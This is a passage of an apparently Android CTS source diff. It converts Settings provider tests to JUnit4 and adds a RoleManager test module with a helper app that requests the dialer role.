-            c = cr.query(uri, null, null, null, null);
-            assertNotNull(c);
-            assertEquals(origCount, c.getCount());
         } finally {
             // TODO should clean up more better
             c.close();
         }
     }
 
+    @Test
     public void testGetUriFor() {
         Uri uri = Uri.parse("content://authority/path");
         String name = "table";
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
index 7bb5908..042e847 100644
--- a/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
+++ b/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
@@ -16,6 +16,10 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
 
 import android.content.ContentResolver;
 import android.database.Cursor;
@@ -23,9 +27,15 @@
 import android.provider.Settings;
 import android.provider.Settings.Secure;
 import android.provider.Settings.SettingNotFoundException;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Settings_SecureTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_SecureTest {
 
     private static final String NO_SUCH_SETTING = "NoSuchSetting";
 
@@ -37,11 +47,9 @@
 
     private ContentResolver cr;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        cr = mContext.getContentResolver();
+    @Before
+    public void setUp() throws Exception {
+        cr = InstrumentationRegistry.getTargetContext().getContentResolver();
         assertNotNull(cr);
         assertSettingsForTests();
     }
@@ -59,12 +67,14 @@
         }
     }
 
+    @Test
     public void testGetDefaultValues() {
         assertEquals(10, Secure.getInt(cr, "int", 10));
         assertEquals(20, Secure.getLong(cr, "long", 20));
         assertEquals(30.0f, Secure.getFloat(cr, "float", 30), 0.001);
     }
 
+    @Test
     public void testGetPutInt() {
         assertNull(Secure.getString(cr, NO_SUCH_SETTING));
 
@@ -87,6 +97,7 @@
         }
     }
 
+    @Test
     public void testGetPutFloat() throws SettingNotFoundException {
         assertNull(Secure.getString(cr, NO_SUCH_SETTING));
 
@@ -109,6 +120,7 @@
         }
     }
 
+    @Test
     public void testGetPutLong() {
         assertNull(Secure.getString(cr, NO_SUCH_SETTING));
 
@@ -131,6 +143,7 @@
         }
     }
 
+    @Test
     public void testGetPutString() {
         assertNull(Secure.getString(cr, NO_SUCH_SETTING));
 
@@ -145,6 +158,7 @@
         assertNull(Secure.getString(cr, NO_SUCH_SETTING));
     }
 
+    @Test
     public void testGetUriFor() {
         String name = "table";
 
@@ -153,6 +167,7 @@
         assertEquals(Uri.withAppendedPath(Secure.CONTENT_URI, name), uri);
     }
 
+    @Test
     public void testUnknownSourcesOnByDefault() throws SettingNotFoundException {
         assertEquals("install_non_market_apps is deprecated. Should be set to 1 by default.",
                 1, Settings.Secure.getInt(cr, Settings.Global.INSTALL_NON_MARKET_APPS));
@@ -165,6 +180,7 @@
      * available to non-privileged apps, such as the CTS test app in the context of which this test
      * runs.
      */
+    @Test
     public void testBluetoothAddressNotAvailable() {
         assertNull(Settings.Secure.getString(cr, BLUETOOTH_MAC_ADDRESS_SETTING_NAME));
 
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java
index e187a57..f2e5fd3 100644
--- a/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java
+++ b/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java
@@ -16,11 +16,15 @@
 
 package android.provider.cts;
 
-
 import android.provider.Settings.SettingNotFoundException;
-import android.test.AndroidTestCase;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Settings_SettingNotFoundExceptionTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_SettingNotFoundExceptionTest {
+    @Test
     public void testConstructor() {
         new SettingNotFoundException("Setting not found exception.");
         new SettingNotFoundException(null);
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
index bbdf714..f325af9 100644
--- a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
@@ -16,86 +16,59 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.content.ContentResolver;
 import android.content.res.Configuration;
 import android.database.Cursor;
 import android.net.Uri;
-import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.provider.Settings;
 import android.provider.Settings.SettingNotFoundException;
 import android.provider.Settings.System;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.util.Scanner;
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class Settings_SystemTest extends InstrumentationTestCase {
-    private ContentResolver cr;
+@RunWith(AndroidJUnit4.class)
+public class Settings_SystemTest {
+    private static final String INT_FIELD = Settings.System.SCREEN_BRIGHTNESS;
+    private static final String LONG_FIELD = Settings.System.SCREEN_OFF_TIMEOUT;
+    private static final String FLOAT_FIELD = Settings.System.FONT_SCALE;
+    private static final String STRING_FIELD = Settings.System.NEXT_ALARM_FORMATTED;
 
-    private static final String INT_FIELD = "IntField";
-    private static final String LONG_FIELD = "LongField";
-    private static final String FLOAT_FIELD = "FloatField";
-    private static final String STRING_FIELD = "StringField";
+    @BeforeClass
+    public static void setUp() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings allow");
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        cr = getInstrumentation().getContext().getContentResolver();
-        assertNotNull(cr);
+        // Wait a beat to persist the change
+        SystemClock.sleep(500);
     }
 
-    private void deleteTestedRows() {
-        String selection = System.NAME + "=\"" + INT_FIELD + "\"";
-        cr.delete(System.CONTENT_URI, selection, null);
-
-        selection = System.NAME + "=\"" + LONG_FIELD + "\"";
-        cr.delete(System.CONTENT_URI, selection, null);
-
-        selection = System.NAME + "=\"" + FLOAT_FIELD + "\"";
-        cr.delete(System.CONTENT_URI, selection, null);
-
-        selection = System.NAME + "=\"" + STRING_FIELD + "\"";
-        cr.delete(System.CONTENT_URI, selection, null);
+    @AfterClass
+    public static void tearDown() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings default");
     }
 
-    private void enableAppOps() {
-        StringBuilder cmd = new StringBuilder();
-        cmd.append("appops set ");
-        cmd.append(getInstrumentation().getContext().getPackageName());
-        cmd.append(" android:write_settings allow");
-        getInstrumentation().getUiAutomation().executeShellCommand(cmd.toString());
-
-        StringBuilder query = new StringBuilder();
-        query.append("appops get ");
-        query.append(getInstrumentation().getContext().getPackageName());
-        query.append(" android:write_settings");
-        String queryStr = query.toString();
-
-        String result = "No operations.";
-        while (result.contains("No operations")) {
-            ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation().executeShellCommand(
-                    queryStr);
-            InputStream inputStream = new FileInputStream(pfd.getFileDescriptor());
-            result = convertStreamToString(inputStream);
-        }
-    }
-
-    private String convertStreamToString(InputStream is) {
-        try (Scanner scanner = new Scanner(is).useDelimiter("\\A")) {
-            return scanner.hasNext() ? scanner.next() : "";
-        }
-    }
-
+    @Test
     public void testSystemSettings() throws SettingNotFoundException {
+        final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
         /**
          * first query the exist settings in System table, and then insert five
          * rows: an int, a long, a float, a String, and a ShowGTalkServiceStatus.
          * Get these six rows to check whether insert succeeded and then delete them.
          */
-        // Precondition: these rows must not exist in the db when we begin
-        deleteTestedRows();
 
         // first query exist rows
         Cursor c = cr.query(System.CONTENT_URI, null, null, null, null);
@@ -107,7 +80,6 @@
 
         try {
             assertNotNull(c);
-            int origCount = c.getCount();
             c.close();
 
             String stringValue = "cts";
@@ -120,7 +92,6 @@
 
             c = cr.query(System.CONTENT_URI, null, null, null, null);
             assertNotNull(c);
-            assertEquals(origCount + 4, c.getCount());
             c.close();
 
             // get these rows to assert
@@ -130,12 +101,8 @@
 
             assertEquals(stringValue, System.getString(cr, STRING_FIELD));
 
-            // delete the tested rows again
-            deleteTestedRows();
-
             c = cr.query(System.CONTENT_URI, null, null, null, null);
             assertNotNull(c);
-            assertEquals(origCount, c.getCount());
 
             // update fontScale row
             cfg = new Configuration();
@@ -143,7 +110,7 @@
             assertTrue(System.putConfiguration(cr, cfg));
 
             System.getConfiguration(cr, cfg);
-            assertEquals(1.2f, cfg.fontScale);
+            assertEquals(1.2f, cfg.fontScale, 0.001);
         } finally {
             // TODO should clean up more better
             c.close();
@@ -159,12 +126,16 @@
         }
     }
 
+    @Test
     public void testGetDefaultValues() {
+        final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
         assertEquals(10, System.getInt(cr, "int", 10));
         assertEquals(20, System.getLong(cr, "long", 20l));
         assertEquals(30.0f, System.getFloat(cr, "float", 30.0f), 0.001);
     }
 
+    @Test
     public void testGetUriFor() {
         String name = "table";
 
diff --git a/tests/tests/provider/src/android/provider/cts/TestSRSProvider.java b/tests/tests/provider/src/android/provider/cts/TestSRSProvider.java
new file mode 100644
index 0000000..34029ad
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/TestSRSProvider.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class TestSRSProvider extends ContentProvider {
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
new file mode 100644
index 0000000..40f9673
--- /dev/null
+++ b/tests/tests/role/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsRoleTestCases",
+    sdk_version: "test_current",
+
+    srcs: [
+        "src/**/*.java"
+    ],
+
+    static_libs: [
+        "android-support-test",
+        "compatibility-device-util",
+        "ctstestrunner",
+        "truth-prebuilt"
+    ],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ]
+}
diff --git a/tests/tests/role/AndroidManifest.xml b/tests/tests/role/AndroidManifest.xml
new file mode 100644
index 0000000..60e53b1
--- /dev/null
+++ b/tests/tests/role/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.role.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+
+    <application>
+
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".WaitForResultActivity" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.app.role.cts"
+        android:label="CTS tests of android.app.role">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/role/AndroidTest.xml b/tests/tests/role/AndroidTest.xml
new file mode 100644
index 0000000..8adcbc1
--- /dev/null
+++ b/tests/tests/role/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2018 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<configuration description="Config for CTS role test cases">
+
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsRoleTestCases.apk" />
+        <option name="test-file-name" value="CtsRoleTestApp.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.app.role.cts" />
+        <option name="runtime-hint" value="5m" />
+    </test>
+</configuration>
diff --git a/tests/tests/role/CtsRoleTestApp/Android.bp b/tests/tests/role/CtsRoleTestApp/Android.bp
new file mode 100644
index 0000000..74c1b76
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsRoleTestApp",
+    sdk_version: "test_current",
+
+    srcs: [
+        "src/**/*.java"
+    ],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ]
+}
diff --git a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..a086b26
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2018 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.role.cts.app">
+
+    <application>
+
+        <activity
+            android:name=".RequestRoleActivity"
+            android:exported="true" />
+
+        <activity android:name=".EmptyActivity">
+
+            <!-- Dialer -->
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <data android:scheme="tel" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java
similarity index 61%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java
index 14dbf6b..353ec45 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,19 +14,20 @@
  * limitations under the License.
  */
 
-package android.security.cts;
+package android.app.role.cts.app;
 
-import android.platform.test.annotations.SecurityTest;
+import android.app.Activity;
+import android.os.Bundle;
 
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
-  /**
-   *  b/28026365
-   */
-  @SecurityTest(minPatchLevel = "2016-08")
-  public void testPocCVE_2016_2504() throws Exception {
-    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-        AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
+/**
+ * An empty activity that finishes immediately.
+ */
+public class EmptyActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        finish();
     }
-  }
 }
diff --git a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/RequestRoleActivity.java b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/RequestRoleActivity.java
new file mode 100644
index 0000000..46d07a4
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/RequestRoleActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app;
+
+import android.app.Activity;
+import android.app.role.RoleManager;
+import android.content.Intent;
+import android.os.Bundle;
+import android.text.TextUtils;
+
+/**
+ * An activity that requests a role.
+ */
+public class RequestRoleActivity extends Activity {
+
+    private static final String EXTRA_ROLE_NAME = "android.app.role.cts.app.extra.ROLE_NAME";
+
+    private static final int REQUEST_CODE_REQUEST_ROLE = 1;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        String roleName = getIntent().getStringExtra(EXTRA_ROLE_NAME);
+        if (TextUtils.isEmpty(roleName)) {
+            throw new IllegalArgumentException("Role name in extras cannot be null or empty");
+        }
+
+        RoleManager roleManager = getSystemService(RoleManager.class);
+        Intent intent = roleManager.createRequestRoleIntent(roleName);
+        startActivityForResult(intent, REQUEST_CODE_REQUEST_ROLE);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_CODE_REQUEST_ROLE) {
+            setResult(resultCode, data);
+            finish();
+        } else {
+            super.onActivityResult(requestCode, resultCode, data);
+        }
+    }
+}
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
new file mode 100644
index 0000000..73f2009
--- /dev/null
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.role.RoleManager;
+import android.app.role.RoleManagerCallback;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Process;
+import android.os.UserHandle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link RoleManager}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class RoleManagerTest {
+
+    private static final long TIMEOUT_MILLIS = 15 * 1000;
+
+    private static final String ROLE_NAME = RoleManager.ROLE_DIALER;
+
+    private static final String APP_PACKAGE_NAME = "android.app.role.cts.app";
+    private static final String APP_REQUEST_ROLE_ACTIVITY_NAME = APP_PACKAGE_NAME
+            + ".RequestRoleActivity";
+    private static final String APP_REQUEST_ROLE_EXTRA_ROLE_NAME = APP_PACKAGE_NAME
+            + ".extra.ROLE_NAME";
+
+    private static final Instrumentation sInstrumentation =
+            InstrumentationRegistry.getInstrumentation();
+    private static final Context sContext = InstrumentationRegistry.getTargetContext();
+    private static final RoleManager sRoleManager = sContext.getSystemService(RoleManager.class);
+    private static final UiDevice sUiDevice = UiDevice.getInstance(sInstrumentation);
+
+    @Rule
+    public ActivityTestRule<WaitForResultActivity> mActivityRule =
+            new ActivityTestRule<>(WaitForResultActivity.class);
+
+    // TODO: STOPSHIP: Remove once we automatically revoke role upon uninstallation.
+    @Before
+    @After
+    public void removeRoleHolder() throws Exception {
+        removeRoleHolder(ROLE_NAME, APP_PACKAGE_NAME);
+        assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, false);
+    }
+
+    @Test
+    public void roleIsAvailable() {
+        assertThat(sRoleManager.isRoleAvailable(ROLE_NAME)).isTrue();
+    }
+
+    @Test
+    public void addRoleHolderThenIsRoleHolder() throws Exception {
+        addRoleHolder(ROLE_NAME, APP_PACKAGE_NAME);
+        assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, true);
+    }
+
+    @Test
+    public void addAndRemoveRoleHolderThenIsNotRoleHolder() throws Exception {
+        addRoleHolder(ROLE_NAME, APP_PACKAGE_NAME);
+        removeRoleHolder(ROLE_NAME, APP_PACKAGE_NAME);
+        assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, false);
+    }
+
+    @Test
+    public void requestRoleAndRejectThenIsNotRoleHolder() throws Exception {
+        requestRole(ROLE_NAME);
+        respondToRoleRequest(false);
+        assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, false);
+    }
+
+    @Test
+    public void requestRoleAndApproveThenIsRoleHolder() throws Exception {
+        requestRole(ROLE_NAME);
+        respondToRoleRequest(true);
+        assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, true);
+    }
+
+    private void requestRole(@NonNull String roleName) {
+        Intent intent = new Intent()
+                .setComponent(new ComponentName(APP_PACKAGE_NAME, APP_REQUEST_ROLE_ACTIVITY_NAME))
+                .putExtra(APP_REQUEST_ROLE_EXTRA_ROLE_NAME, roleName);
+        mActivityRule.getActivity().startActivityToWaitForResult(intent);
+    }
+
+    private void respondToRoleRequest(boolean ok, boolean expectResultOk)
+            throws InterruptedException, IOException {
+        wakeUpScreen();
+        String buttonId = ok ? "android:id/button1" : "android:id/button2";
+        sUiDevice.wait(Until.findObject(By.res(buttonId)), TIMEOUT_MILLIS).click();
+        Pair<Integer, Intent> result = mActivityRule.getActivity().waitForActivityResult(
+                TIMEOUT_MILLIS);
+        int expectedResult = expectResultOk ? Activity.RESULT_OK : Activity.RESULT_CANCELED;
+        assertThat(result.first).isEqualTo(expectedResult);
+    }
+
+    private void respondToRoleRequest(boolean ok) throws InterruptedException, IOException {
+        respondToRoleRequest(ok, ok);
+    }
+
+    private void wakeUpScreen() throws IOException {
+        runShellCommand(sInstrumentation, "input keyevent KEYCODE_WAKEUP");
+    }
+
+    private void assertIsRoleHolder(@NonNull String roleName, @NonNull String packageName,
+            boolean shouldBeRoleHolder) throws Exception {
+        List<String> packageNames = getRoleHolders(roleName);
+        if (shouldBeRoleHolder) {
+            assertThat(packageNames).contains(packageName);
+        } else {
+            assertThat(packageNames).doesNotContain(packageName);
+        }
+     }
+
+    private List<String> getRoleHolders(@NonNull String roleName) throws Exception {
+        return callWithShellPermissionIdentity(() -> sRoleManager.getRoleHolders(roleName));
+    }
+
+    private void addRoleHolder(@NonNull String roleName, @NonNull String packageName)
+            throws Exception {
+        UserHandle user = Process.myUserHandle();
+        Executor executor = sContext.getMainExecutor();
+        boolean[] successful = new boolean[1];
+        CountDownLatch latch = new CountDownLatch(1);
+        runWithShellPermissionIdentity(() -> sRoleManager.addRoleHolderAsUser(roleName,
+                packageName, user, executor, new RoleManagerCallback() {
+                    @Override
+                    public void onSuccess() {
+                        successful[0] = true;
+                        latch.countDown();
+                    }
+                    @Override
+                    public void onFailure() {
+                        successful[0] = false;
+                        latch.countDown();
+                    }
+                }));
+        latch.await(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        assertThat(successful[0]).isTrue();
+    }
+
+    private void removeRoleHolder(@NonNull String roleName, @NonNull String packageName)
+            throws Exception {
+        UserHandle user = Process.myUserHandle();
+        Executor executor = sContext.getMainExecutor();
+        boolean[] successful = new boolean[1];
+        CountDownLatch latch = new CountDownLatch(1);
+        runWithShellPermissionIdentity(() -> sRoleManager.removeRoleHolderAsUser(roleName,
+                packageName, user, executor, new RoleManagerCallback() {
+                    @Override
+                    public void onSuccess() {
+                        successful[0] = true;
+                        latch.countDown();
+                    }
+                    @Override
+                    public void onFailure() {
+                        successful[0] = false;
+                        latch.countDown();
+                    }
+                }));
+        latch.await(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        assertThat(successful[0]).isTrue();
+    }
+}
diff --git a/tests/tests/role/src/android/app/role/cts/WaitForResultActivity.java b/tests/tests/role/src/android/app/role/cts/WaitForResultActivity.java
new file mode 100644
index 0000000..8f889bf
--- /dev/null
+++ b/tests/tests/role/src/android/app/role/cts/WaitForResultActivity.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.util.Pair;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * An Activity that can start another Activity and wait for its result.
+ */
+public class WaitForResultActivity extends Activity {
+
+    private static final int REQUEST_CODE_WAIT_FOR_RESULT = 1;
+
+    private CountDownLatch mLatch;
+    private int mResultCode;
+    private Intent mData;
+
+    public void startActivityToWaitForResult(Intent intent) {
+        mLatch = new CountDownLatch(1);
+        startActivityForResult(intent, REQUEST_CODE_WAIT_FOR_RESULT);
+    }
+
+    public Pair<Integer, Intent> waitForActivityResult(long timeoutMillis)
+            throws InterruptedException {
+        mLatch.await(timeoutMillis, TimeUnit.MILLISECONDS);
+        return new Pair<>(mResultCode, mData);
+    }
+
+    @Override
